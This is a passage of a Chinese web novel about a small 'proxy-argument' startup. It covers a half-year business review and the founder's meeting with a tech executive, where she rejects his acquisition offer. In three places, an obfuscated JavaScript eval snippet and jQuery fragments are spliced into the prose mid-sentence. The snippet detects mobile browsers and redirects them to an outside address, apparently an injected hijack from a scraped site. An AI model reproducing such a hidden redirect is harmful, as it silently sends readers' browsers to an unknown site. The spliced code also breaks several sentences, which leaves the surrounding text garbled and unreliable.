“第三,收入数据。6月份开始收费,当月总收入两万三千七百块,其中专业版收入约一万二,会员卡收入约一万,企业定制因为7月才付款,算到下个月。” 她顿了顿。 “支出方面,服务器每月一万,场地每月三千,四个人工资每月一万三,6月份亏损约三千块,加上前五个月的投入,累计亏损约十五万。” / 吴小糖认真听着,在心里默默算账。 应宽点点头,没说话。 俞彩虹也没说话。 徐寄遥继续说: “第四,品牌数据。上半年我们经历了四次舆论风波,刘小燕案涨粉十万,罗贝妮案涨粉二十万,林浩然案掉粉十五万,现在净涨粉约八万,全网曝光量累计约三亿。” “第五,案例积累。上半年处理有效案例287个,其中职场PUA类78个,家庭矛盾类112个,网络暴力类63个,其他类34个。形成标准化方案16套,话术库积累案例287份,录音证据87份。” 她说完了。 屋里很安静。 吴小糖看着她,心里忽然有点难受。 应宽开口了。 他的语速不快,但每句话都很清晰。 “技术上,我补充几个数据。” “第一,服务器负载。6月高峰期,服务器负载达到92%。经过三次优化,现在稳定在45%左右,响应时间从平均3.2秒降到1.8秒。” “第二,AI处理能力。现在的AI模型能处理40%的简单咨询,准确率87%,这类咨询不需要人工介入,节省了约30%的人力成本。” “第三,数据安全。上半年共拦截恶意攻击17次,其中DDoS攻击5次,数据爬取12次,无一次成功,无数据泄露。” 他顿了顿。 “成本方面,服务器每月一万,其实偏高,我对比过几家云服务商,如果切换到按量付费的模式,配合流量削峰,可以降到七千以内。给我一周时间,能把这事搞定。” 徐寄遥点点头。 应宽继续说: “下半年,我想做三件事。” “第一,升级AI模型,把处理能力从40%提升到70%。第二,建立自动化证据收集系统,以后遇到网暴案件,能自动截图、录屏、固定IP。第三,优化数据库结构,让检索效率提高50%。” 他看着徐寄遥。 “这些不需要额外预算。我一个人能搞定。” 俞彩虹接过话头。 “那我来说说我这边的观察。” 她往前坐了坐。 “这半年,我跟着处理了287个案例,最大的收获不是数据,是看到了规律。” “第一,职场PUA类案例,80%有共同模式。陈树昌那种人,不是个案,是一种类型。咱们总结的16套方案,能覆盖90%的同类问题。” “第二,家庭矛盾类案例,表面上是钱的问题,实际上是情感的问题。林浩然那种情况,不是个例,现在的年轻人,被原生家庭理论洗脑的,越来越多。” “第三,咱们的介入方式,需要分层。有些案例,需要直接介入,帮客户吵赢。有些案例,需要间接介入,让客户自己成长。林浩然那种,属于后者。虽然失败了,但积累了经验。” 她顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340329|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿。 “下半年,我想做三件事。” “第一,把咱们的案例写成学术论文。把用户数据匿名处理后投稿,能给代吵带来学术背书。以后遇到类似林浩然那种案子,我们可以更专业地分析洗脑话术。” “第二,建立一套心理评估体系。客户进来之前,先评估状态,是适合直接介入,还是适合间接引导。这样可以提高成功率,减少无效投入。” “第三,标准化方案可以再完善一下,我这边整理了心理干预的模块,能减少30%的沟通时间。” 吴小糖不知道该说什么,就跟着点点头。 / 徐寄遥看着他们。 “你们……不觉得两万三太少了吗?” 俞彩虹笑了。 “寄遥,你知道大多数创业公司第一年是什么情况吗?” 徐寄遥看着她。 俞彩虹说: “我做过调研。互联网创业公司第一年,90%是亏损的。活下来的10%里,能做到收支平衡的不到三成。咱们上线半年,收费第一个月,收入就覆盖了工资和设备成本,这已经很厉害了。” 应宽点点头。 “而且咱们没有融资,靠口碑做到现在,用户留存率65%,高于行业平均。” 吴小糖终于找到能说的话。 “对啊寄遥姐,咱们才半年!半年就有收入了,多厉害!” 徐寄遥没说话。 她看着他们,眼眶忽然红了。 但她没让眼泪流下来。 她只是低下头,深吸了一口气。 再抬起头时,已经恢复了平静。 “谢谢你们……” 声音有点哑。 吴小糖想说什么,被俞彩虹按住了。 / 徐寄遥听着他们说话,心里慢慢暖起来。 她忽然觉得,这两万三,不是失败。 是开始。 她开口。 “好,那就按这个方向走。” 她看着应宽。 “应宽,服务器的事,你负责,预算争取控制在七千以内,需要加设备就加。AI升级的事,你先做个方案,咱们下周讨论。” 看着俞彩虹。 “俞老师,专业度上的事,你负责。论文发之前给我看一眼,别泄露客户隐私。心理评估体系,你设计框架,咱们一起完善。” 看着吴小糖。 “小糖,你最近多盯着咱们APP上的订单。” 吴小糖用力点头。 “明白!” 会议结束。 吴小糖去接水,应宽回电脑前,俞彩虹继续看书。 徐寄遥又走到窗边。 但她没再站着发呆。 她在想下半年的事。 想如果再来一次舆论,该怎么扛。 / 下午两点半。 徐寄遥的手机突然响了。 安静的屋里,铃声格外清晰刺耳。 徐寄遥拿起来,看了一眼。 一个陌生号码。 她准备挂掉。手指按下去却停住了。 这个号码,有点眼熟。 她盯着那串数字,看了几秒。 脑子里有什么东西闪过。 她快步走到桌边,拉开抽屉。 从抽屉里摸出一张名片。 名片很简单。白色的底,黑色的字。 只有名字和一串号码。 她看着名片上的数字,再看看手机上的来电显示。 一模一样。 / 手机还在响。 屏幕亮着。 那串数字,在屏幕上跳动着。 她盯着那个号码,一动不动。 屋里很安静。 安静得能听见电脑主机的嗡鸣声。 吴小糖看着她,不知道发生了什么。 应宽看着她,手指停在键盘上。 俞彩虹看着她,眼神若有所思。 / 手机一直在响。 一声,两声,三声,四声,五声。 铃声在屋里回荡。 没人说话。 没人动。 只有那铃声,一遍一遍地响。 46.赴约 手机一直在响。 徐寄遥站在窗边,看着屏幕上那串数字。 和抽屉里那张名片上的号码,一模一样。 铃声在安静的屋里回荡。一声,两声,三声,四声,五声。 吴小糖看着她,不知道发生了什么。 应宽的手指停在键盘上。 俞彩虹的眼神若有所思。 第六声。 第七声。 第八声。 徐寄遥按下接听键。 “喂。” 电话那头沉默了一秒。 然后传来一个声音,温和,带着一种恰到好处的笑意。 “徐小姐,你好,我是杨亚波。” 是杨亚波。 徐寄遥握着手机的手,紧了紧。 “杨总,你好,有事吗?” 杨亚波笑了。 “上次发布会一别,一直想找机会再聊聊。” 他的语气很随意,像是在和老朋友聊天。 徐寄遥没说话。 杨亚波继续说: “网上的事,我看到了,闹得挺大,你还能扛下来,不容易。” 他顿了顿。 “说实话,我挺佩服的。” “谢谢关心,杨总打电话来,就是为了说这个?” 杨亚波的声音顿了顿。 “当然,确实有具体的事情想跟徐小姐沟通。” “是这样的,我有个合作的想法,你可能也有兴趣,我想请你吃饭,当面聊。” 徐寄遥沉默了几秒。 “杨总,是什么合作呢?” “电话里说不清楚,见面聊吧。” 徐寄遥想了想。 “杨总,如果是工作上的事,要不我去您那儿拜访吧,您看什么时候方便?” 电话那头沉默了两秒。 然后杨亚波笑了,笑声里带着点欣赏。 “徐小姐,你这个人,真的很有意思。” 他顿了顿。 “那就来我办公室吧,明天怎么样,上午十点,伯牙科技总部,方便吗?” “方便。” “那明天见。” 电话挂了。 / 徐寄遥放下手机。 屋里安静了几秒。 吴小糖第一个开口。 “寄遥姐,是那个杨亚波?” 徐寄遥点点头。 吴小糖说:“他找你干嘛?” 徐寄遥说:“他说想谈个合作。” 吴小糖愣了一下。 “合作?我们跟他们有什么好合作的?” 应宽说:“具体是什么,他没说?” 徐寄遥摇摇头。 “没说,约了明天面谈。” / 晚上七点。 四个人围坐在一起。 吴小糖憋了一天,终于忍不住了。 “寄遥姐,你说杨亚波这个时候找你,到底什么意思啊?” 应宽悠悠地说: “肯定有目的,这个人,不会无缘无故打电话。” 俞彩虹点点头。 “现在这个时间点,确实有点微妙。咱们刚被网暴完,订单跌了那么多,他这个时候冒出来,想干什么?” 吴小糖挠挠头。 应宽突然冒出一句:“想抄底我们?” 俞彩虹笑了笑,“别说,还真有这个可能,代吵虽然现在声誉受损,但底子还在,用户基数在那,品牌认知度在那。收购了,他们就少了一个竞争对手,对他们有好处。” 徐寄遥摇摇头。 “咱们体量太小了,一个月就两万多收入,对他们来说交电费都不够吧,构不成威胁,没必要收购咱们。” 吴小糖说:“那还能合作什么啊?” 应宽说:“合作?有什么好合作的,理念都不一样,怎么合作?” / 讨论了半天,没讨论出结果。 应宽看了她一眼。 “明天我陪你去吧。” 徐寄遥摇摇头。 “不用,我自己去。” 应宽点点头,没说话。 吴小糖赶忙说: “寄遥姐,那我陪你吧!万一那个杨亚波有什么坏心思,我可以在旁边……” 徐寄遥打断她。 “小糖,人多了反而不好说话,他要是真想聊什么,看到我带人,可能就不说了。” 吴小糖瘪瘪嘴。 “那好吧……” 徐寄遥站起来。 “不管他什么目的,明天去了就知道了。” 她走回房间。 吴小糖看着她的背影,小声说: “寄遥姐今天接了那个电话,整个人都不一样了。” 应宽说:“怎么不一样?” 吴小糖想了想。 “她眼睛里有光了。” / 7月12日,上午九点四十五分。 徐寄遥站在伯牙科技总部楼下。 三十层的写字楼,玻璃幕墙在阳光下闪闪发光。 门口铺着深灰色的大理石,擦得能照出人影。 进进出出的人,都穿着精致的职业装,步履匆匆。 今天她走简约通勤风,剪裁得宜的短袖衬衣,松弛又不会过度休闲的宽松西裤,一双复古的包头皮凉鞋。 不是正装,但干净利落。齐肩的短发垂在耳边,露出右耳上那个耳钉形的降噪耳机。 手机震了一下。 是杨亚波的消息: “徐小姐,到了吗?我让前台接你。” 她回复:“刚到。” / 走进大楼,大堂挑高至少八米,水晶吊灯从穹顶垂下来。整个空间宽敞得有些不真实,脚步声在大理石地面上轻轻回荡。 前台是大理石台面,后面站着两个穿着制服的姑娘,笑容恰到好处。 “早上好!徐小姐?” “我是,早上好。” 前台姑娘递给她一张访客卡。 “徐小姐,杨总在二十八楼。电梯这边请。” 她指了指大堂一侧的电梯区。 徐寄遥顺着她指的方向走去,一边走一边观察着周围。 整个大堂安静得有些过分。 偶尔有人经过,皮鞋踩在大理石上发出清脆的声响,但没有交谈声,没有笑声,甚至没有人多看旁人一眼。 每个人都朝着自己的方向快速移动,表情专注,步伐急促。 她想起自己的工作室。那个老小区里的三室一厅,门口堆着快递,墙上贴着外卖电话。吴小糖每天叽叽喳喳,应宽偶尔冒出一句冷幽默,俞彩虹翻书的哗啦声。 那里很吵。很乱。但很鲜活。 这里很安静。很整洁。也很冷。 / 电梯区有六部电梯,并排排列。每部电梯上方都有编号,1到6,银色金属牌,简洁利落。 徐寄遥进了3号电梯,刷卡按了楼层。 电梯上行。数字一格一格跳。18,19,20,……27,28。 镜面墙壁上映出徐寄遥的身影,她觉得自己和周围的一切格格不入。 电梯门打开,是一条宽敞的走廊。 深灰色的地毯,踩上去一点声音都没有。 墙上挂着几幅抽象画,颜色很克制。每隔几米就有壁灯,发出柔和的暖光。 走廊很长,但只有尽头那扇门,深棕色,很有质感,门上没有任何标识。 她走过去,正要敲门,里面传来声音。 有人在说话。 她停下手。 门没有关严,留着一道细细的缝隙。声音从里面传出来,是杨亚波的声音。 “这个方案不行,让他们重做。我要的不是预算,是效果。” 顿了顿。 “对,告诉他们,下周之前必须拿出新方案。否则就别来了。” 顿了顿。 “好了,先这样。有客人。” 徐寄遥往后退了一步。 她不应该站在门口。但退开又显得刻意。她只好侧过身,装作在看墙上的画。 但她的余光,还是忍不住扫向那道门。 杨亚波的声音又响起来,这次温和了很多。 “王局,您放心,这个项目我们一定做好。回头我亲自去拜访您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346634|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 原来不是对下属。 是电话。 她站在那里,听着里面断断续续的声音。 不想听,但也不可能完全隔绝。 她只好让自己走神。 目光落在窗外的风景上。 这层楼很高。透过落地窗,远处是央视大楼的轮廓。 她忽然想起工作室的窗户。那个老小区,六层,窗外是另一栋老楼,再远一点是菜市场。每天早晨,楼下会有卖早点的吆喝声。 这里有电梯直达,有地毯,有落地窗,有抽象画。 那里,有吴小糖的叽叽喳喳,有应宽敲键盘的声音,有俞彩虹翻书的声音。 她想,还是那里更适合她。 / “徐小姐?” 声音突然从耳边响起。 她猛地回过神。 杨亚波站在门口,手里拿着手机,脸上带着温和的笑。 “等很久了吧?不好意思,刚才在处理点事情。” 徐寄遥愣了一下。 她刚才完全走神了,根本没注意到门什么时候开的。 “没有,刚到。” 杨亚波笑了。 “请进。” 他侧身让开,示意她进门。 徐寄遥走进去。 杨亚波跟在后面,关上门。 这是一间很大的办公室。 落地窗占了整整一面墙,窗外是北京的天际线。 国贸的建筑群在阳光下闪闪发光。 再远一点,能看到西山淡淡的轮廓。 阳光照进来,整个房间亮堂堂的。 办公桌是深色的,很大。桌面上摆着几台电脑,几摞文件,还有一个看起来很贵的台灯。 旁边是一组沙发,深灰色的,皮质柔软,一看就价值不菲。 墙角摆着几盆绿植,叶子油亮亮的,打理得很好。 落地窗边还有一个小型的会客区,两张单人沙发,中间一个小圆桌,上面摆着一套茶具。 杨亚波穿着一件黑色衬衫,质地看起来很高级,剪裁合身,衬得整个人很精神。下面是深色休闲裤,裤线笔挺。 鼻梁上架着那副细框眼镜,镜片后面的眼睛很温和,嘴角带着淡淡的笑意。 “徐小姐,欢迎。”他伸出手。 徐寄遥握住他的手。他的手干燥温暖,力度恰到好处。 “杨总。” 杨亚波笑了笑。 “徐小姐请坐。” 他指了指沙发区。 徐寄遥在沙发上坐下。沙发很软,但又不会让人陷下去,坐感刚刚好。 杨亚波在她对面坐下。 茶几上已经摆好了两杯茶,杯子是白色的瓷杯,看起来很素雅。 旁边放着一个精致的瓷盘,里面是几块点心,做得像艺术品。 杨亚波说:“不知道你喝什么,就泡了龙井。明前的,应该还可以。” 他的语气很随意,显然两个人很熟似的。 徐寄遥端起茶杯,喝了一口。 茶很香,入口清甜,回味悠长。 “好茶。” 杨亚波笑了。 “徐小姐懂茶?” 徐寄遥摇摇头。 “不懂。但好喝还是喝得出来的。” 杨亚波点点头。 “这样最好。懂太多反而没意思。” 他靠在沙发上,姿态很放松。 “徐小姐,上次发布会之后,一直想找机会聊聊。只是没想到,再联系是在这个时候。” 他看着徐寄遥。 “网上的事,我看到了。你们确实不容易。” 徐寄遥看着他,没有说话。 杨亚波继续说: “今天请徐小姐来,主要是我有个想法。” 他往前坐了坐。 “想听听徐小姐的意见。” 徐寄遥放下茶杯。 “什么?” 杨亚波笑了笑。 “不急,先喝茶。” 他端起自己的杯子,抿了一口。 阳光从窗外照进来,落在两个人身上。 屋里很安静。 47.交锋:观念的碰撞 杨亚波靠在沙发里,姿态放松。 "十几年前,我刚从北大光华毕业,在国贸三期对面那栋小楼里上班。那是个创业公司,做社交软件的,现在早就倒闭了。我们租的是背阴面,工位挤得像罐头,窗户朝北,一年四季见不到阳光。" 他停顿了一下。 "我每天中午都跑到楼梯间抽烟。那时候还能在室内抽烟。楼梯间朝南,有一扇小气窗,从那里能看到这栋楼。当时这栋楼刚封顶,外立面还贴着防护网。我记得特别清楚,有一天下午,雨刚停,阳光突然穿透云层,照在这栋楼的玻璃幕墙上,整栋楼都在发光。" 徐寄遥静静地听着。她知道这种开场白,这是成功者惯用的叙事策略。 先展示脆弱的来时路,建立情感共鸣,再抛出真正的意图。 "我当时想,"杨亚波的眼镜片反射着窗外的光,"什么时候我也能在那栋楼里上班。" 他拿起那紫砂壶,给徐寄遥续了半杯茶。水流声在寂静的办公室里格外清晰。 "十年后,我坐进来了。" 他的语气平淡得像在陈述天气。 "我甚至买了上下两层,四千平米。” 徐寄遥看着那杯茶,茶汤金黄,叶片在杯底舒展。她没有喝。 "杨总,您想说的是?" 杨亚波重调整了一个更舒适的角度。右腿搭在左腿上,手肘撑在沙发扶手上,手指轻触太阳穴。 "我想说,徐小姐,我看人很准。你今天的眼神,和第一次见时不一样了。" "哪里不一样?" "那时候你在评估我,像评估一个潜在的客户。现在你在审视我,像审视一个对手。"杨亚波笑了,"这说明你成长了,也说明你开始害怕了。" 徐寄遥的手指在膝头微微收紧,但声音依然平稳:"我害怕什么?" "害怕代吵撑不过这个冬天。" 杨亚波的语气依然温和,但目光如炬。 "你们代吵上个月接了多少单?一百二十单?还是一百五十单?你们现在账上的现金流,撑不过三个月吧?" 徐寄遥感到喉咙有些发紧。 这些数字她比谁都清楚,但从杨亚波嘴里说出来,像是一把手术刀剖开了代吵脆弱的外壳。 杨亚波继续夸夸其谈。 "未来十年,中国最大的市场不再是物质消费。房地产已经达到天花板,汽车、家电、快消品,这些行业的增长率都在下滑。只有一个市场正在爆发,那就是精神消费。" "家庭矛盾、代际冲突、情感焦虑、职场压力,这些精神上的痛苦,正在变成一个巨大的产业。中国的抑郁症患者,官方数据是九千万,实际可能超过两亿。每年因为家庭矛盾而自杀的人群超过二十万。离婚率连续十七年上涨。这些数字背后是万亿级的市场需求。" 他看着徐寄遥。 "而这个市场,才刚刚开始。就像十年前的移动互联网,关键是,你得先站到风口上去。" 徐寄遥抬起头,直视他的眼睛:"杨总认为,和解大师站到了风口上?" "不只是站到了,我就是风口的一部分。" "现在和解大师的用户量有五百万。但中国有十四亿人,四亿家庭,五百万只是百分之一。如果我能把这个比例提高到百分之十,那就是五千万用户。如果每个用户每年消费一千元,那就是五百亿的营收。这还只算C端,不算B端的企业服务、政府采购、保险衍生业务。" 他转过身,双手撑在茶几上。 "徐小姐,这是一个千亿级的赛道。和解大师已经抢占市场先发,未来我们要重新定义人们解决矛盾的方式,要重新定义''和解''这个概念。我就是这个赛道的定义者。” 徐寄遥闻到了他身上淡淡的香水味,是某种木质调的雪松香。 "重新定义?"她微微后仰,拉开一点距离,"杨总,和解是一种很古老的概念。从古至今,人们一直在寻找和解的方式。您想怎么重新定义?" 杨亚波直起身,笑了。 "你说得对,和解很古老。古老意味着低效,意味着不可控,意味着过度依赖个体的经验。" 茶几上放着一份文件,他把手随意地放在上面。 "但如果我们用技术来解构和解呢?把每一次矛盾拆解成数据点,分析冲突类型、情绪强度、诉求权重、人格画像,然后用算法匹配最优解决方案。那我们就不是在调解,我们是在计算。计算最优解,计算最大公约数,计算成本与收益。" 徐寄遥感到一阵寒意。来自那种冰冷的理性。 "杨总,您认为人的情感可以计算吗?" "不是可以不可以,是已经在计算了。" 杨亚波从文件中抽出一张纸,递给徐寄遥。 "这是我们的核心算法模型。你看,我们把家庭矛盾分为十七个大类,八十九个小类,每个类别对应不同的调解策略。我们有情绪识别系统,能通过语音语调判断用户的真实诉求;我们有博弈论模型,能预测不同解决方案的成功率;我们还有区块链技术,确保调解协议的不可篡改性。" 徐寄遥接过那张纸,上面是密密麻麻的公式和流程图。 她看不懂那些符号,但她看懂了一个事实: 在杨亚波的蓝图里,人不是人,是数据;痛苦不是痛苦,是变量;和解不是和解,是交易。 "这很高效。"徐寄遥放下那张纸,"但这不是和解。" "那什么是和解?" 杨亚波反问,语气里带着一丝挑衅。 "像你们代吵那样,派一个代吵师去客户家里,听他们哭诉,然后给出一些所谓的''情感建议''?你们上个月的客诉率是多少?百分之十五?你们知道用户最大的抱怨是什么吗?''咨询师不懂我'',''建议不实用'',''太贵了''。徐小姐,你们的模式是手工业,是作坊。" 徐寄遥握紧了手中的茶杯,温热的瓷壁传递着微弱的暖意。 杨亚波靠回沙发,恢复了那种松弛的姿态。 “情怀,不是商业模式。" "情怀?"徐寄遥的声音提高了一点,但很快控制住,"您认为关注个体的痛苦,只是情怀?" "在商业语境下,是的。" 杨亚波的语气依然平静。 "情怀不能当估值,不能当营收,不能当护城河。资本市场看的是规模,是增速,是壁垒。代吵有壁垒吗?没有。你们的模式任何人都可以复制,只要找几个心理学毕业的研究生,租个办公室,就能开一家代吵APP。" 徐寄遥沉默了。 杨亚波说的每一句话都是事实,残酷的事实。 代吵确实没有融资,确实在勉强维持,随时可能倒闭。 "杨总,我们确实在撑。"徐寄遥放下茶杯,声音清晰而坚定,"但您漏算了一件事。" "什么事?" "人不是数据。" 徐寄遥直视他的眼睛。 "或者说,人不只是数据。您说得对,中国有十四亿人,有四亿家庭,有无数的矛盾需要解决。但每一个矛盾背后,都是一个具体的人,有具体的痛苦,恐惧,具体的希望。您看到的是万亿市场,我看到的却是万亿个无法被简化的灵魂。" "您说我们的模式是手工业,是作坊。是的,我们是。因为我们相信,有些工作不能被工业化。痛苦不能被流水线处理,创伤不能被标准化修复。您用算法匹配的调解方案,或许能解决表面的冲突,但您能治愈人心吗?您能让他们在深夜不再辗转反侧吗?您能让他们重新相信爱,相信正义,相信人的尊严吗?" 杨亚波看着她,目光复杂。他没有立即反驳。 "徐小姐,你很理想主义。"最终他说。 他正对着她,距离近到能看清她睫毛的颤动。 "来伯牙吧,作为合伙人。集团副总,分管整个和解大师业务线。年薪、期权、资源,全部到位。你可以把你的理念和团队带进来,我们一起探索,如何在规模化的同时保持人文关怀。" / 徐寄遥坐在真皮沙发上,背脊挺直,姿态端庄得近乎戒备。 "杨总,您说得很有诱惑力。"她说,声音比想象中更平稳,"我想问您一个问题。" "请说。" "您做和解大师的初心是什么?真的是为了帮助那些痛苦的人吗?" 杨亚波愣了一下,随即笑了。 办公室里的空气似乎凝固了。 "徐小姐,你知道最廉价的道德审判是什么吗?"他声音低沉,"就是质疑别人的动机。因为动机无法证实,也无法证伪。无论我说什么,你都可以说''那不是你的真心''。这种对话没有意义。" 杨亚波的笑容慢慢消失,取而代之的是一种难以捉摸的平静。 "那什么有意义?"徐寄遥追问,"数据?营收?市场占有率?" 杨亚波端着茶杯,蒸汽在他面前缭绕。 "有意义的,是结果。" 他说:"你不管我的初心是什么,不管我是为了赚钱还是为了帮助人,重要的是,和解大师确实帮助了五百万人。这五百万人哪怕只有十分之一的人真的解决了问题,那也是五十万个家庭。你们代吵成立半年,帮助了多少人?一千?两千?就算每一单都完美解决,和解大师一天的量就抵得上你们一年的努力。" 他喝了一口茶,放下杯子:"所以,不要跟我谈初心。初心是奢侈品,是成功者事后撰写的神话。重要的是执行力,是结果,是影响力。如果我的''不纯粹''能帮助五十万人,而你的''纯粹''只能帮助两千人,谁更有道德?" 徐寄遥感到一种深深的无力感。 这不是她第一次听到这种功利主义的论调,但每次听到,都像是一记重锤砸在胸口。 因为从某种意义上说,杨亚波是对的。数字不会说谎,五百万对两千,这是碾压性的优势。 但她不甘心。她不相信这就是全部。 杨亚波摘下眼镜,揉了揉眉心。那一瞬间,他看起来不再是那个意气风发的科技新贵,而只是一个疲惫的中年人。 "徐小姐,我也曾经相信过个体,相信过慢工出细活。" 他重新戴上眼镜,目光变得锐利。 "我刚毕业那会儿,没有互联网,没有大数据,就是靠两条腿跑,一家一家地走访。那时候我以为,只要我有足够的耐心,足够的真诚,我就能帮助所有人。" 徐寄遥惊讶地看着他。这是她第一次听到杨亚波谈起这些。 "但我错了。"杨亚波的声音变得低沉,"我帮得了一个,帮不了一百个;帮得了一年,帮不了十年。你知道那种无力感吗?看着一个人在你面前坠入深渊,而你的手够不着他的感觉吗?" 徐寄遥太知道了。 "所以你想做大的。" "我必须做大。"杨亚波纠正道,"不是我想,是我必须。如果我能建立一套系统,哪怕这套系统只能解决百分之七十的问题,只能提供百分之六十的安慰,但它能覆盖一百万人,一千万人,那也比完美的个案工作更有价值。这就是效率伦理。” “徐小姐,不完美的大善,胜过完美的小善。" "您付出的代价是什么?"她问,"当您把人的情感抽象成数据,用算法替代共情,追求效率至上,您失去了什么?" "我失去了一些诗意,温度,一些人性化的细节。" 杨亚波坦然承认。 "但我获得了规模和影响力,获得了改变系统的能力。徐小姐,这不是零和游戏。我可以先用系统解决大多数人的基础需求,再保留一部分资源给特殊的个案。就像医院,既有能处理批量病人,也有专科门诊处理疑难杂症。和解大师可以成为前者,代吵可以成为后者。我们不必是对手,我们可以是生态。" 徐寄遥看着他,第一次看到了杨亚波面具下的真实。 "但您会吞噬我们。"徐寄遥说,"一旦和解大师成为主流,成为标准,成为基础设施,代吵的存在就会被边缘化,就会被视为''低效''和''过时''。您不是在建立生态,您是在建立垄断。垄断的终点,是消灭多样性。" 杨亚波看着徐寄遥,眼神复杂。 他似乎在重新评估她,不是作为潜在的收购对象,而是作为一个真正的对手。 "徐小姐,我不是在威胁你,"他终于开口,声音缓慢而沉重,"我是陈述事实。和解大师正在快速扩张,我们的目标是三年内覆盖一亿用户。这意味着我们要下沉到三四线城市,要推出低价甚至免费的调解服务,要整合线上线下的资源。你觉得这对代吵意味着什么吗?" 徐寄遥感到有些难过。 杨亚波描述的未来是可信的,甚至是必然的。在效率至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351014|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的时代,深度和精细注定是少数人的特权,而大多数人会选择便宜和快速。 "那就是您想看到的未来吗?"她问,"一个只有标准化,没有个性化的未来?一个只有算法,没有人的未来?" 杨亚波的表情难以捉摸。 "不,"他说,"那不是我想看到的未来。那是正在发生的未来。我只是顺应趋势,如果我不做,会有别人做;如果和解大师不做,会有其他公司做。资本是逐利的,用户是务实的,市场是残酷的。你可以批判这个系统,但你无法凭一己之力改变它。" "所以打不过,我就只能加入?"徐寄遥的脸色很冷,"放弃我的理念,接受您的招安,成为您千亿帝国的一个齿轮?" "是合伙人。"杨亚波强调,"我刚才的提议依然有效。你可以保留代吵的品牌,作为和解大师旗下的高端子品牌。你可以继续你的深度调解,但可以利用我们的技术、渠道和资金。你可以影响系统,从内部改变它,而不是站在外面被它碾碎。" "徐小姐,我知道你在坚持什么。那种坚持很宝贵,真的很宝贵。但我更知道,如果你现在拒绝我,三个月后,六个月后,一年后,当代吵师现金流断裂,当用户被我们用补贴抢走,你会后悔今天的决定。到那时候,你连选择的权利都没有了。" 徐寄遥的目光越过杨亚波的肩膀,投向那整面落地窗外。 那里是整个CBD的缩影,无数玻璃盒子堆砌成的现代丛林,每扇窗户背后都藏着数百个正在燃烧的生命。车流在建国路上蠕动,像一条蜿蜒的河流。 她知道杨亚波说的可能是对的。从纯粹理性的角度看,接受收购是最优解,是止损。 "杨总,"她开口,"我想问您最后一个问题。" "请说。" "如果您收购了代吵,我按照您的逻辑去''优化''它,它还是代吵吗?" 杨亚波的手插进西裤口袋:"当然还是。名字不会变,核心团队可以保留,你的理念也可以保留,只是……" "只是什么?" "只是形态会变,效率会变高,覆盖范围会变广。就像手工制陶变成了工业化生产,本质上还是陶器,只是更便宜,更多人能买得起。" 徐寄遥摇头:"不,一旦它被规模化,一旦开始追求效率,它就已经死了。留下来的只是一个叫''代吵''的空壳,里面装的是和解大师的算法,是您的逻辑和资本的意志。" 她的声音变得激动,但很快就控制住自己:"我作为代吵的创始人,宁愿它现在死,以一个完整的、忠于初心的存在死去,也不愿它在您的千亿帝国里苟延残喘。" 杨亚波的脸色变了。那种温和、耐心、居高临下的理解消失了,取而代之的是一种冰冷的、被冒犯的锐利。 他盯着她看了很久,久到徐寄遥以为他会拍桌子。但他没有。 "十年前,我大概也说过类似的话。"他说,"十年后,我成了那个劝别人跪下的人。生活是个圆,徐小姐,我们最终都会变成自己曾经讨厌的样子。" "我不会。"徐寄遥说。 "你会的。"杨亚波说。 / 气氛再次变得紧张,但这次的紧张中多了一种奇怪的共鸣。他们不再是单纯的商业对手,而是两个选择了不同道路的同行者,彼此映照出对方可能的命运。 "徐小姐,如果我现在告诉你,我想改变,我想找到一种既能规模化,又能保持人文温度的方法。你会相信我吗?" 杨亚波打破沉默,声音有些沙哑。 徐寄遥看着他,看着那双锐利的眼睛。她看到了真诚,也看到了危险。 杨亚波是个太聪明的人,聪明到可以用真诚作为武器。 "我会相信您的感受是真实的,"她谨慎地回答,"但我不相信您的解决方案。因为您还在用同一套思维模式,控制,优化,效率。您说的,想找到一种方法,好像人文温度是一种可以添加到算法里的插件。但这不是方法的问题,杨总,这是范式的问题。您需要放弃的不是某种技术路线,而是您的世界观。" 杨亚波苦笑:"你是要我放弃我十几年来建立的一切?" "不,"徐寄遥摇头,"我没有那个权力。我只是想告诉您,为什么我不能加入您的千亿帝国。因为我如果加入了,我就必须接受您的世界观,必须使用您的话语体系,必须用您的逻辑思考。" 她站起身,拿起背包。 "杨总,感谢您的茶,也感谢您的坦诚。我知道您今天说的很多话是真实的,我也受益很多,但我不能接受您的提议。我要保护代吵,保护我的团队,保护我们相信的东西。" 杨亚波也站起来。 "三个月。徐小姐,我会等你三个月。如果三个月后,代吵还活着,你还坚持今天的想法,我尊重你。如果三个月后,你改变了主意,我的大门依然向你打开。" 徐寄遥摇摇头:"不需要三个月,我现在就可以给您答复。" 她的声音清晰而坚定。 "代吵不会加入伯牙科技,不会被收购。我们会走自己的路。" 